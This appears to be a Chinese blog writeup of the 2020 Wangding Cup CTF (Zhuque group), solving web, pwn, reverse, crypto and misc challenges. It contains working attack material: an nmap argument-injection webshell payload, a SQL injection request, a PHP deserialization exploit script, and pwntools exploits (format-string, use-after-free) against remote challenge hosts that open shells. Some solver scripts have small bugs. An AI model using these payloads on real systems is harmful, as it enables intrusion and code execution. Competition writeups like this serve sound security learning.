MoR03r MoR03r's Blog
2020网鼎杯-朱雀组部分题目Writeup
发表于 2020-5-18 | CTF

Web

0x00 nmap

Buu平台上一个题目,

原wp链接:https://blog.csdn.net/qq_26406447/article/details/100711933

使用使用nmap -oG参数写文件需要绕过

escapeshellarg和escapeshellcmd

写入payload:

' <? echo `cat /flag`;?> -oG hack.phtml '

图片

寻找文件位置,发现在根目录下,直接就能访问,获得flag

0x01 think_java

http://101.200.85.99:8088/

POST /common/test/sqlDict HTTP/1.1
Host: 101.200.85.99:8088
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Connection: close
dbName=myapp?a=' union select (select pwd from user);#

注出admin密码,根据swagger api doc 图片

登录后获得token

图片

token为序列化数据,使用ysoserial的ROME分步获得shell

图片

成功getflag

图片

0x02 phpweb

http://eb728394a0e849b586d458d7e478c9134dcc43fcbc854734.cloudgame1.ichunqiu.com/index.php

通过POST参数猜测后端为call_user_func、call_user_func_array、create_function动态创建函数,POST数据func=highlight_file&p=index.php函数看index.php的源码

POST /index.php HTTP/1.1
Host: eb728394a0e849b586d458d7e478c9134dcc43fcbc854734.cloudgame1.ichunqiu.com
Content-Length: 31
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eb728394a0e849b586d458d7e478c9134dcc43fcbc854734.cloudgame1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eb728394a0e849b586d458d7e478c9134dcc43fcbc854734.cloudgame1.ichunqiu.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,lb;q=0.6
Cookie: UM_distinctid=170e7036e7717c-06b8e11fd14083-396d7406-1aeaa0-170e7036e78a6a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589608952,1589676208; ci_session=d1850dda6bd36dd9a3e0d0350d0fcd2d37afe4de; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1589679969; __jsluid_h=ea7c2e3ea45a4f4ae78b67cc84ccf5de
x-forwarded-for: 112.90.151.25
Connection: close

func=highlight_file&p=index.php

源码如下:

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

可以执行命令的函数被ban了,可以通过Test类中的gettime动态函数执行被ban函数,考虑通过unserialize传入序列化的数据,来直接执行命令,脚本如下:

import requests
import sys
kk = sys.argv[1]
kk2 = sys.argv[2]
kk3 = '''O:4:"Test":2:{s:1:"p";s:'''+str(len(kk))+''':"'''+kk+'''";s:4:"func";s:'''+str(len(kk2))+''':"'''+kk2+'''";'''
print(kk3)
data1 ={
    'func': "unserialize",
    'p': kk3
}
url = 'http://eb728394a0e849b586d458d7e478c9134dcc43fcbc854734.cloudgame1.ichunqiu.com/index.php'
g = requests.post(url= url,data= data1).text
print(g)

Pwn

0x03 云盾

格式化字符串漏洞,vim配合cat触发格式化字符串,cd让栈上留有目标地址,之后格式化字符串直接写地址即可

from pwn import *
context.log_level='debug'
#io = process('./pwn')
io = remote('59.110.243.101', 25413)
def vim(idx, payload):
    io.recvuntil('>')
    io.sendline('vim '+str(idx))
    io.recvuntil('>')
    io.sendline(payload)
def cat(idx):
    io.recvuntil('>')
    io.sendline('cat '+str(idx))
def rm(idx):
    io.recvuntil('>')
    io.sendline('rm '+str(idx))
def cd(path):
    io.recvuntil('>')
    io.sendline(b'cd '+path)

vim(2, '%35$p\n')
cat(2)
io.recvuntil('>')
io.recvuntil('>')
addr = int(io.recvuntil('\n', drop=True), 16)
free_hook = addr + 0x3a5f78
vim(2, '%34$p\n')
cat(2)
io.recvuntil('>')
io.recvuntil('>')
addr = int(io.recvuntil('\n', drop=True), 16)
secret = addr - 0x597
log.success(hex(secret))
for i in range(6):
    cd(p64(free_hook+i))
    vim(2, '%'+str(p64(secret)[i])+'c%18$hhn')
    cat(2)
#18
rm(2)
io.interactive()

0x04 magic

fastbin的uaf改magic的函数指针为backdoor

from pwn import *
backdoor = 0x400A0D
def learn(size,name):
  p.sendlineafter("Your choice :","1")
  p.sendlineafter("magic cost ?:",str(size))
  p.sendafter("name :",name)
def forget(idx):
  p.sendlineafter("Your choice :","2")
  p.sendlineafter("index :",str(idx))
#p = process("./magic")
p = remote("59.110.243.101",54621)
p.sendline("icq8d6fce05ac74eb2a217c1c0850ca3")
learn(0x20,"/bin/sh")
learn(0x20,"/bin/sh")
learn(0x20,"/bin/sh")
forget(0)
forget(1)
learn(0x10,p64(backdoor)*2)
p.sendlineafter("Your choice :","3")
p.sendline("0")
p.interactive()

Re

0x05 Go

go逆向,输入字符串为AES密钥,密钥需要通过换表的Base64验证,然后对AES进行解密,解密结果即为flag

图片

import base64
t1="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
t2="XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01"
b64='nRKKAHzMrQzaqQzKpPHClX=='
b64n=""
for i in range(len(b64)):
    if not b64[i] in t1:
        b64n += b64[i]
        continue
    b64n += t1[t2.find(b64[i])]
print(base64.b64decode(b64n.encode()).decode())

得到密钥 What_is_go_a_A_H 直接输入到程序即可得到flag

图片

0x06 Tree

IDA打开可以看到题目符号都没删,逻辑非常清晰。

chkflag函数对flag格式进行了检查,必须为 flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx},同时输入的所有“x”所在位置的字符都必须是0-F,也就是十六进制数,并将这个十六进制数转为二进制字符串保存。

parse函数对得到的二进制字符串进行逐位判断,这里用到了前面在init函数中生成的二叉树,从根节点开始走,二进制字符串遇到0则走左边,遇到1走右边。直到遇到某个节点的值的范围为小写字母的ascii码,才进行下一轮查找。最后将所有得到的小写字母拼在一起与 "zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx" 进行比较。

这里按理应该先写脚本把二叉树扒出来,然后找到每个字母对应的路径,转换为二进制串最后转换成flag,但是突然在左边的函数列表里发现

图片

双击进去后发现outtree函数可以直接打印整个二叉树……非常方便,于是在init函数结束以后将EIP修改为outtree起始地址,将ESP位置的值改为二叉树根节点地址,因为outtree函数采用了递归遍历,所以需要可以正确返回,因此要手动将ESP-4并写入outtree返回地址,然后打印整个二叉树

图片

后面就很简单了,从二叉树提取每个字符对应的路径,转换为二进制字符串,再转为flag即可

charpath = {
    'y':'0000',
    'b':'00010',
    'q':'00011',
    'g':'0010',
    'f':'0011',
    'j':'010',
    'w':'01100',
    'p':'01101',
    'x':'011100',
    'd':'0111010',
    'i':'0111011',
    'k':'01111',
    's':'100',
    'z':'1010',
    'n':'1011',
    'c':'11000',
    't':'110010',
    'e':'110011',
    'h':'1101',
    'o':'11100',
    'l':'1110100',
    'u':'11101010',
    'r':'111010110',
    'a':'111111111',
    'm':'111011',
    'v':'1111'
}
string = 'zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx'
b = ""
for i in string:
    b += dic[i]
for i in range(0, len(b), 4):
    print("%x"%int(b[i:i+4], 2), end = "")

Crypto

0x07 Simple

放射.zip

k1:123456 k2:321564 密文为:kgws{m8u8cm65-ue9k-44k5-8361-we225m76eeww}

eles = 'abcdefghijklmnopqrstuvwxyz'
k1 = 123456
k2 = 321564
flag = 'kgws{m8u8cm65-ue9k-44k5-8361-we225m76eeww}'
for i in flag:
    if i in eles:
        for j in range(26):
            if i == eles[(k1*j+k2)%26]:
                print(eles[j], end='')
                break
    else:
        print(i, end='')

0x08 RUA

猜测e应该是相同的,考虑广播攻击

参考https://blog.csdn.net/xuqi7/article/details/75578414里的脚本,把n和c改为题目中的值,爆破e

# coding = utf-8
import gmpy2, math
from Crypto.Util.number import *
Cipher = [8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696, 17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956, 5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607]
N = [ 18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393, 21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883, 22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789]
def extended_gcd(a, b):
    x,y = 0, 1
    lastx, lasty = 1, 0
    while b:
        a, (q, b) = b, divmod(a,b)
        x, lastx = lastx-q*x, x
        y, lasty = lasty-q*y, y
    return (lastx, lasty, a)
def chinese_remainder_theorem(items):
  N = 1
  for a, n in items:
    N *= n
  result = 0
  for a, n in items:
    m = N/n
    r, s, d = extended_gcd(n, m)
    if d != 1:
      raise "Input not pairwise co-prime"
    result += a*s*m
  return result % N, N
def func_get_prime(n):
  return filter(lambda x: not [x%i for i in range(2, int(math.sqrt(x))+1) if x%i ==0], range(2,n+1))
if __name__ == "__main__":
    Data = zip(Cipher, N)
    x, n = chinese_remainder_theorem(Data)
    E = func_get_prime(1000)
    # print E
    for e in E:
        m, success = gmpy2.iroot(x, e)
        if success:
            print e, long_to_bytes(m)

Misc

0x09 签到

图片

找到app.js,向score.php发送token即可获得flag

图片

0x0B 九宫格

在九宫格内把1-9数字填入,使其横加竖加斜加均得15,将对角线的数字排列组合从小到大的顺序为本题的重要信息。

import hashlib
files = ['./QRcode/' + str(i)+".png" for i in range(1,577)]
zero = '0086bd66d12d9519e4af4ad2bbcb8d65'
def cal_md5(file_name):
    h = hashlib.md5()
    with open(file_name, 'rb') as f:
        h.update(f.read())
    return h.hexdigest()
a = list(map(lambda x: 0 if cal_md5(x) == zero else 1, files))
print(a)

按照顺序转换0或1可得:

a = [0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1]
x = libnum.n2s(''.join(a))
# U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa

Rabbit 加密,根据题目提示,密钥为245568

图片

0x0C key

锁.png有个压缩包,匙.png 修复图片高度后观察到如下文本:

图片

295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656

猜出第一位为S

# 脚本来自https://www.xmsec.cc/10th-ciscn-review/
import libnum
a = 0x295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656
b = 0x295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656
b2 = bin(b)
print b2
str = ""
for i in range(len(b2[2:])/2):

  a1 = b2[i*2:i*2+2]
  a2 = b2[i*2+2:i*2+4]

  if a2 !='10' and a2 !='01':
    continue
  if a1 !='10' and a1 !='01':
    continue
  if a1!=a2:
    str+='1'
  else:
    str+='0'
print str
print hex(int(str,2)).upper()
print libnum.n2s(0x13616B7572615F4C6F76655F53747261776265727279L)
# \x13akura_Love_Strawberry
# Sakura_Love_Strawberry

图片

TOP